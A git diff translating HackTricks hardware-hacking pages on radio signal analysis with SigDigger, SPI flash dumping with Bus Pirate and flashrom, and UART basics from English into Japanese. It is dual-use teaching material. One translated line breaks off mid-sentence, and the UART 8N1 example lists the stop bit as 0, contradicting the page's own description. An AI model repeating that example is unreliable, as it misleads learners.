- - diff --git a/todo/hardware-hacking/radio.md b/todo/hardware-hacking/radio.md index d22a897ea..5601a6b48 100644 --- a/todo/hardware-hacking/radio.md +++ b/todo/hardware-hacking/radio.md @@ -1,227 +1,225 @@ -# Radio +# ラジオ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
## SigDigger -[**SigDigger** ](https://github.com/BatchDrake/SigDigger)is a free digital signal analyzer for GNU/Linux and macOS, designed to extract information of unknown radio signals. It supports a variety of SDR devices through SoapySDR, and allows adjustable demodulation of FSK, PSK and ASK signals, decode analog video, analyze bursty signals and listen to analog voice channels (all in real time). +[**SigDigger** ](https://github.com/BatchDrake/SigDigger)は、GNU/LinuxとmacOS用の無料のデジタル信号アナライザであり、未知の無線信号の情報を抽出するために設計されています。SoapySDRを介してさまざまなSDRデバイスをサポートし、FSK、PSK、ASK信号の可変復調、アナログビデオのデコード、バースト信号の分析、アナログ音声チャネルのリアルタイムリスニングなどをサポートしています。 -### Basic Config +### 基本設定 -After installing there are a few things that you could consider configuring.\ -In settings (the second tab button) you can select the **SDR device** or **select a file** to read and which frequency to syntonise and the Sample rate (recommended to up to 2.56Msps if your PC support it)\\ +インストール後、いくつかの設定を検討することができます。\ +設定(2番目のタブボタン)では、**SDRデバイス**を選択するか、**ファイルを選択**して読み取る周波数とサンプルレート(PCがサポートしている場合は2.56Mspsまで推奨)を選択できます。 ![](<../../.gitbook/assets/image (655) (1).png>) -In the GUI behaviour it's recommended to enable a few things if your PC support it: +GUIの動作では、PCがサポートしている場合はいくつかの機能を有効にすることをお勧めします。 ![](<../../.gitbook/assets/image (465) (2).png>) {% hint style="info" %} -If you realise that your PC is not capturing things try to disable OpenGL and lowering the sample rate. +PCがキャプチャできていないことに気付いた場合は、OpenGLを無効にし、サンプルレートを下げてみてください。 {% endhint %} -### Uses +### 用途 -* Just to **capture some time of a signal and analyze it** just maintain the button "Push to capture" as long as you need. +* **信号の一部をキャプチャして分析する**場合は、「Push to capture」ボタンを必要な時間だけ押し続けます。 ![](<../../.gitbook/assets/image (631).png>) -* The **Tuner** of SigDigger helps to **capture better signals** (but it can also degrade them). Ideally start with 0 and keep **making it bigger until** you find the **noise** introduce is **bigger** than the **improvement of the signal** you need). +* SigDiggerの**チューナー**は、信号をより良くキャプチャするのに役立ちます(ただし、信号を劣化させることもあります)。理想的には、0から始めて、ノイズが本当に増加し始めるレベルまで**大きくしていく**ことが望ましいです。 ![](<../../.gitbook/assets/image (658).png>) -### Synchronize with radio channel +### ラジオチャンネルとの同期 -With [**SigDigger** ](https://github.com/BatchDrake/SigDigger)synchronize with the channel you want to hear, configure "Baseband audio preview" option, configure the bandwith to get all the info being sent and then set the Tuner to the level before the noise is really starting to increase: +[**SigDigger** ](https://github.com/BatchDrake/SigDigger)を使用して、聞きたいチャンネルと同期し、"Baseband audio preview"オプションを設定し、送信されているすべての情報を取得するための帯域幅を設定し、ノイズが本当に増加し始める前のレベルにチューナーを設定します。 ![](<../../.gitbook/assets/image (389).png>) -## Interesting tricks +## おもしろいトリック -* When a device is sending bursts of information, usually the **first part is going to be a preamble** so you **don't** need to **worry** if you **don't find information** in there **or if there are some errors** there. -* In frames of information you usually should **find different frames well aligned between them**: +* デバイスが情報のバーストを送信している場合、通常は**最初の部分が前置部**になるため、そこに情報がない場合やエラーがある場合は心配する必要はありません。 +* 情報のフレームでは、通常、**互いによく整列した異なるフレーム**を見つけるはずです。 ![](<../../.gitbook/assets/image (660) (1).png>) ![](<../../.gitbook/assets/image (652) (1) (1).png>) -* **After recovering the bits you might need to process them someway**. For example, in Manchester codification a up+down will be a 1 or 0 and a down+up will be the other one. So pairs of 1s and 0s (ups and downs) will be a real 1 or a real 0. -* Even if a signal is using Manchester codification (it's impossible to find more than two 0s or 1s in a row), you might **find several 1s or 0s together in the preamble**! +* **ビットを回復した後、何らかの方法で処理する必要がある場合があります**。たとえば、マンチェスターコーディングでは、上下は1または0であり、下がり上がりはもう一方の値です。つまり、1と0のペア(上と下)は実際の1または実際の0になります。 +* マンチェスターコーディングを使用している場合でも(連続して2つ以上の0または1を見つけることは不可能です)、前置部には複数の1または0が一緒になっている場合があります! -### Uncovering modulation type with IQ +### IQを使用して変調方式を特定する -There are 3 ways to store information in signals: Modulating the **amplitude**, **frequency** or **phase**.\ -If you are checking a signal there are different ways to try to figure out what is being used to store information (fin more ways below) but a good one is to check the IQ graph. +信号には情報を格納するための3つの方法があります:振幅、周波数、または位相を変調します。\ +信号をチェックしている場合、情報が格納されている方法を特定しようとするさまざまな方法があります(以下にさらなる方法があります)、しかし、IQグラフをチェックするのは良い方法の1つです。 ![](<../../.gitbook/assets/image (630).png>) -* **Detecting AM**: If in the IQ graph appears for example **2 circles** (probably one in 0 and other in a different amplitude), it could means that this is an AM signal. This is because in the IQ graph the distance between the 0 and the circle is the amplitude of the signal, so it's easy to visualize different amplitudes being used. -* **Detecting PM**: Like in the previous image, if you find small circles not related between them it probably means that a phase modulation is used. This is because in the IQ graph, the angle between the point and the 0,0 is the phase of the signal, so that means that 4 different phases are used. - * Note that if the information is hidden in the fact that a phase is changed and not in the phase itself, you won't see different phases clearly differentiated. -* **Detecting FM**: IQ doesn't have a field to identify frequencies (distance to centre is amplitude and angle is phase).\ - Therefore, to identify FM, you should **only see basically a circle** in this graph.\ - Moreover, a different frequency is "represented" by the IQ graph by a **speed acceleration across the circle** (so in SysDigger selecting the signal the IQ graph is populated, if you find an acceleration or change of direction in the created circle it could mean that this is FM): - -## AM Example +* **AMを検出する**:IQグラフに例えば**2つの円**が表示される場合(おそらく1つは0で、もう1つは異なる振幅である可能性があります)、これはAM信号である可能性があります。これは、IQグラフで0と円の間の距離が信号の振幅であるため、異なる振幅が使用されているのが視覚的にわかりやすいからです。 +* **PMを検出する**:前の画像のように、関連しない小さな円が見つかる場合、おそらく位相変調が使用されていることを意味します。これは、IQグラフで、点と0,0の間の角度が信号の位相であるため、4つの異なる位相が使用されていることを意味します。 +* 情報が位相自体ではなく位相の変化に隠されている場合、異なる位相が明確に区別されない場合があります。 +* **FMを検出する**:IQには周波数を識別するためのフィールドがありません(中心への距離は振幅であり、角度は位相です)。\ +したがって、FMを識別するには、このグラフで基本的に**円だけを見る**必要があります。\ +さらに、異なる周波数は、IQグラフによって**円を加速させることで「表現」**されます(したがって、SysDiggerで信号を選択するとIQグラフが生成され、作成された円に加 +## AMの例 {% file src="../../.gitbook/assets/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %} -### Uncovering AM +### AMの解明 -#### Checking the envelope +#### エンベロープの確認 -Checking AM info with [**SigDigger** ](https://github.com/BatchDrake/SigDigger)and just looking at the **envelop** you can see different clear amplitude levels. The used signal is sending pulses with information in AM, this is how one pulse looks like: +[**SigDigger** ](https://github.com/BatchDrake/SigDigger)を使用してAM情報を確認し、**エンベロープ**を見るだけで、異なる明確な振幅レベルが見えます。使用されている信号はAMで情報をパルスで送信しており、以下が1つのパルスの見た目です: ![](<../../.gitbook/assets/image (636).png>) -And this is how part of the symbol looks like with the waveform: +そして、以下が波形でシンボルの一部の見た目です: ![](<../../.gitbook/assets/image (650) (1).png>) -#### Checking the Histogram +#### ヒストグラムの確認 -You can **select the whole signal** where information is located, select **Amplitude** mode and **Selection** and click on **Histogram.** You can observer that 2 clear levels are only found +情報が存在する信号全体を選択し、**振幅**モードと**選択**を選択し、**ヒストグラム**をクリックします。2つの明確なレベルのみが見つかることがわかります。 ![](<../../.gitbook/assets/image (647) (1) (1).png>) -For example, if you select Frequency instead of Amplitude in this AM signal you find just 1 frequency (no way information modulated in frequency is just using 1 freq). +例えば、このAM信号で振幅の代わりに周波数を選択すると、1つの周波数のみが見つかります(周波数で情報が変調されている場合、1つの周波数のみを使用している可能性はありません)。 ![](<../../.gitbook/assets/image (637) (1) (1).png>) -If you find a lot of frequencies potentially this won't be a FM, probably the signal frequency was just modified because of the channel. +もし多くの周波数が見つかる場合、これはFMではないかもしれません。おそらく、チャンネルの影響で信号の周波数が変更されたためです。 -#### With IQ +#### IQでの確認 -In this example you can see how there is a **big circle** but also **a lot of points in the centre.** +この例では、**大きな円**があることと、**中心に多くの点**があることがわかります。 ![](<../../.gitbook/assets/image (640).png>) -### Get Symbol Rate +### シンボルレートの取得 -#### With one symbol +#### 1つのシンボルで -Select the smallest symbol you can find (so you are sure it's just 1) and check the "Selection freq". I this case it would be 1.013kHz (so 1kHz). +最も小さいシンボルを選択し(1つだけであることを確認するため)、"Selection freq"を確認します。この場合、1.013kHz(つまり1kHz)です。 ![](<../../.gitbook/assets/image (638) (1).png>) -#### With a group of symbols +#### グループのシンボルで -You can also indicate the number of symbols you are going to select and SigDigger will calculate the frequency of 1 symbol (the more symbols selected the better probably). In this scenario I selected 10 symbols and the "Selection freq" is 1.004 Khz: +選択するシンボルの数を指定することもできます。この場合、10個のシンボルを選択し、"Selection freq"は1.004 kHzです。 ![](<../../.gitbook/assets/image (635).png>) -### Get Bits +### ビットの取得 -Having found this is an **AM modulated** signal and the **symbol rate** (and knowing that in this case something up means 1 and something down means 0), it's very easy to **obtain the bits** encoded in the signal. So, select the signal with info and configure the sampling and decision and press sample (check that **Amplitude** is selected, the discovered **Symbol rate** is configured and the **Gadner clock recovery** is selected): +これが**AM変調**された信号であり、**シンボルレート**がわかっている(この場合、上が1を意味し、下が0を意味する)ことがわかっている場合、信号にエンコードされたビットを非常に簡単に取得できます。したがって、情報を持つ信号を選択し、サンプリングと決定を設定し、サンプルを押します(**振幅**が選択されていること、発見された**シンボルレート**が設定されていること、**ガードナークロックリカバリ**が選択されていることを確認してください): ![](<../../.gitbook/assets/image (642) (1).png>) -* **Sync to selection intervals** means that if you previously selected intervals to find the symbol rate, that symbol rate will be used. -* **Manual** means that the indicated symbol rate is going to be used -* In **Fixed interval selection** you indicate the number of intervals that should be selected and it calculates the symbol rate from it -* **Gadner clock recovery** is usually the best option, but you still need to indicate some approximate symbol rate. +* **Sync to selection intervals**は、シンボルレートを見つけるために事前に選択した間隔を使用することを意味します。 +* **Manual**は、指定したシンボルレートが使用されることを意味します。 +* **Fixed interval selection**では、選択する間隔の数を指定し、それからシンボルレートを計算します。 +* **ガードナークロックリカバリ**は通常最適なオプションですが、おおよそのシンボルレートを指定する必要があります。 -Pressing sample this appears: +サンプルを押すと、次のように表示されます: ![](<../../.gitbook/assets/image (659).png>) -Now, to make SigDigger understand **where is the range** of the level carrying information you need to click on the **lower level** and maintain clicked until the biggest level: +次に、SigDiggerに情報を保持しているレベルの範囲を理解させるために、**下のレベル**をクリックし、最大のレベルまでクリックし続ける必要があります。 ![](<../../.gitbook/assets/image (662) (1) (1) (1).png>) -If there would have been for example **4 different levels of amplitude**, you should have need to configure the **Bits per symbol to 2** and select from the smallest to the biggest. +もし例えば**振幅の異なる4つのレベル**があった場合、**Bits per symbolを2に設定**し、最小から最大まで選択する必要があります。 -Finally **increasing** the **Zoom** and **changing the Row size** you can see the bits (and you can select all and copy to get all the bits): +最後に、**ズームを増やし**、**行のサイズを変更**することでビットを見ることができます(すべてを選択してコピーすることもできます): ![](<../../.gitbook/assets/image (649) (1).png>) -If the signal has more than 1 bit per symbol (for example 2), SigDigger has **no way to know which symbol is** 00, 01, 10, 11, so it will use different **grey scales** the represent each (and if you copy the bits it will use **numbers from 0 to 3**, you will need to treat them). +信号が1つのシンボルあたり1ビット以上(例えば2ビット)を持つ場合、SigDiggerはどのシンボルが00、01、10、11であるかを**知る方法がありません**。そのため、それぞれを表すために異なる**グレースケール**を使用します(ビットをコピーすると、**0から3の数字**が使用されますので、それらを処理する必要があります)。 -Also, use **codifications** such as **Manchester**, and **up+down** can be **1 or 0** and an down+up can be a 1 or 0. In those cases you need to **treat the obtained ups (1) and downs (0)** to substitute the pairs of 01 or 10 as 0s or 1s. +また、**マンチェスター**などの**符号化**を使用する場合、**上+下**は**1または0**であり、**下+上**は1または0になります。この場合、取得した上(1)と下(0)を処理して、01または10のペアを0または1に置き換える必要があります。 -## FM Example +## FMの例 {% file src="../../.gitbook/assets/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %} -### Uncovering FM +### FMの解明 -#### Checking the frequencies and waveform +#### 周波数と波形の確認 -Signal example sending information modulated in FM: +FMで変調された情報を送信する信号の例: ![](<../../.gitbook/assets/image (661) (1).png>) -In the previous image you can observe pretty good that **2 frequencies are used** but if you **observe** the **waveform** you might n**ot be able to identify correctly the 2 different frequencies**: +前の画像では、**2つの周波数が使用されている**ことがよくわかりますが、**波形**を観察しても正しく2つの異なる周波数を識別することはできないかもしれません: ![](<../../.gitbook/assets/image (653).png>) -This is because I capture the signal in booth frequencies, therefore one is approximately the other in negative: +これは、私が信号を両方の周波数でキャプチャしたためであり、したがって、1つの周波数は他の周波数に対しておおよそ負の値です: ![](<../../.gitbook/assets/image (656).png>) -If the synchronized frequency is **closer to one frequency than to the other** you can easily see the 2 different frequencies: +同期周波数が**1つの周波数に近い**場合、2つの異なる周波数を簡単に見ることができます: ![](<../../.gitbook/assets/image (648) (1) (1) (1).png>) ![](<../../.gitbook/assets/image (634).png>) -#### Checking the histogram +#### ヒストグラムの確認 -Checking the frequency histogram of the signal with information you can easily see 2 different signals: +情報を含む信号の周波数ヒストグラムを確認すると、2つの異なる信号が簡単に見つかります: ![](<../../.gitbook/assets/image (657).png>) -In this case if you check the **Amplitude histogram** you will find **only one amplitude**, so it **cannot be AM** (if you find a lot of amplitudes it might be because the signal has been losing power along the channel): +この場合、**振幅ヒストグラム**を確認すると、**1つの振幅のみ**が見つかるため、これは**AMではない**ことがわかります(多くの振幅が見つかる場合、信号がチャネルを通じてパワーを失っている可能性があります): ![](<../../.gitbook/assets/image (646).png>) -And this is would be phase histogram (which makes very clear the signal is not modulated in phase): +そして、これが位相ヒストグラムです(信号が位相で変調されていないことが非常に明確です): ![](<../../.gitbook/assets/image (201) (2).png>) +#### IQを使用して -#### With IQ - -IQ doesn't have a field to identify frequencies (distance to centre is amplitude and angle is phase).\ -Therefore, to identify FM, you should **only see basically a circle** in this graph.\ -Moreover, a different frequency is "represented" by the IQ graph by a **speed acceleration across the circle** (so in SysDigger selecting the signal the IQ graph is populated, if you find an acceleration or change of direction in the created circle it could mean that this is FM): +IQには周波数を識別するためのフィールドがありません(中心への距離は振幅で、角度は位相です)。\ +したがって、FMを識別するには、このグラフでは**基本的に円**しか見えません。\ +さらに、異なる周波数はIQグラフによって**円周上の速度加速度で「表現」**されます(したがって、SysDiggerで信号を選択するとIQグラフが生成されますが、作成された円に加速度や方向の変化がある場合、これはFMである可能性があります): ![](<../../.gitbook/assets/image (643) (1).png>) -### Get Symbol Rate +### シンボルレートの取得 -You can use the **same technique as the one used in the AM example** to get the symbol rate once you have found the frequencies carrying symbols. +シンボルを運ぶ周波数を見つけた後、AMの例と同じ技術を使用してシンボルレートを取得することができます。 -### Get Bits +### ビットの取得 -You can use the **same technique as the one used in the AM example** to get the bits once you have **found the signal is modulated in frequency** and the **symbol rate**. +信号が周波数で変調されており、シンボルレートがわかっている場合、AMの例と同じ技術を使用してビットを取得することができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
diff --git a/todo/hardware-hacking/spi.md b/todo/hardware-hacking/spi.md index 88a282c62..dcf1b4797 100644 --- a/todo/hardware-hacking/spi.md +++ b/todo/hardware-hacking/spi.md @@ -1,36 +1,33 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -# Dump Flash +# フラッシュのダンプ ## Bus Pirate + flashrom ![](<../../.gitbook/assets/image (201).png>) -Note that even if the PINOUT of the Pirate Bus indicates pins for **MOSI** and **MISO** to connect to SPI however some SPIs may indicate pins as DI and DO. **MOSI -> DI, MISO -> DO** +注意:Bus PirateのPINOUTには、SPIに接続するための**MOSI**と**MISO**のピンが示されていますが、一部のSPIではピンをDIとDOとして示す場合があります。**MOSI -> DI、MISO -> DO** ![](<../../.gitbook/assets/image (648) (1) (1).png>) -In Windows or Linux you can use the program [**`flashrom`**](https://www.flashrom.org/Flashrom) to dump the content of the flash memory running something like: - +WindowsまたはLinuxでは、プログラム[**`flashrom`**](https://www.flashrom.org/Flashrom)を使用して、次のようにフラッシュメモリの内容をダンプすることができます: ```bash # In this command we are indicating: # -VV Verbose @@ -39,22 +36,18 @@ In Windows or Linux you can use the program [**`flashrom`**](https://www.flashro # -r Image to save in the filesystem flashrom -VV -c "W25Q64.V" -p buspirate_spi:dev=COM3 -r flash_content.img ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/todo/hardware-hacking/uart.md b/todo/hardware-hacking/uart.md index d8c527305..b88226c31 100644 --- a/todo/hardware-hacking/uart.md +++ b/todo/hardware-hacking/uart.md @@ -1,65 +1,61 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Basic Information +# 基本情報 -UART is a serial protocol, which means it transfers data between components one bit at a time. In contrast, parallel communication protocols transmit data simultaneously through multiple channels. Common serial protocols include RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express, and USB. +UARTはシリアルプロトコルであり、コンポーネント間でデータを1ビットずつ転送します。一方、並列通信プロトコルは複数のチャネルを介してデータを同時に転送します。一般的なシリアルプロトコルにはRS-232、I2C、SPI、CAN、Ethernet、HDMI、PCI Express、およびUSBがあります。 -Generally, the line is held high (at a logical 1 value) while UART is in the idle state. Then, to signal the start of a data transfer, the transmitter sends a start bit to the receiver, during which the signal is held low (at a logical 0 value). Next, the transmitter sends five to eight data bits containing the actual message, followed by an optional parity bit and one or two stop bits (with a logical 1 value), depending on the configuration. The parity bit, used for error checking, is rarely seen in practice. The stop bit (or bits) signify the end of transmission. +一般的に、UARTはアイドル状態ではラインが高い(論理1の値)に保持されます。次に、データ転送の開始を示すために、送信機は受信機にスタートビットを送信します。この間、信号は低い(論理0の値)に保持されます。次に、送信機は実際のメッセージを含む5〜8ビットのデータビットを送信し、オプションのパリティビットと1つまたは2つのストップビット(論理1の値)が続きます。エラーチェックに使用されるパリティビットは実際にはほとんど見られません。ストップビット(またはビット)は送信の終わりを示します。 -We call the most common configuration 8N1: eight data bits, no parity, and one stop bit. For example, if we wanted to send the character C, or 0x43 in ASCII, in an 8N1 UART configuration, we would send the following bits: 0 (the start bit); 0, 1, 0, 0, 0, 0, 1, 1 (the value of 0x43 in binary), and 0 (the stop bit). +最も一般的な構成は8N1と呼ばれます:8ビットのデータ、パリティなし、および1ビットのストップビットです。たとえば、8N1 UART構成で文字C、またはASCIIの0x43を送信する場合、次のビットを送信します:0(スタートビット);0、1、0、0、0、0、1、1(バイナリの0x43の値);0(ストップビット)。 ![](<../../.gitbook/assets/image (648) (1) (1) (1) (1).png>) -Hardware tools to communicate with UART: +UARTと通信するためのハードウェアツール: -* USB-to-serial adapter -* Adapters with the CP2102 or PL2303 chips -* Multipurpose tool such as: Bus Pirate, the Adafruit FT232H, the Shikra, or the Attify Badge +* USBシリアルアダプタ +* CP2102またはPL2303チップを搭載したアダプタ +* Bus Pirate、Adafruit FT232H、Shikra、またはAttify Badgeなどの多目的ツール -## 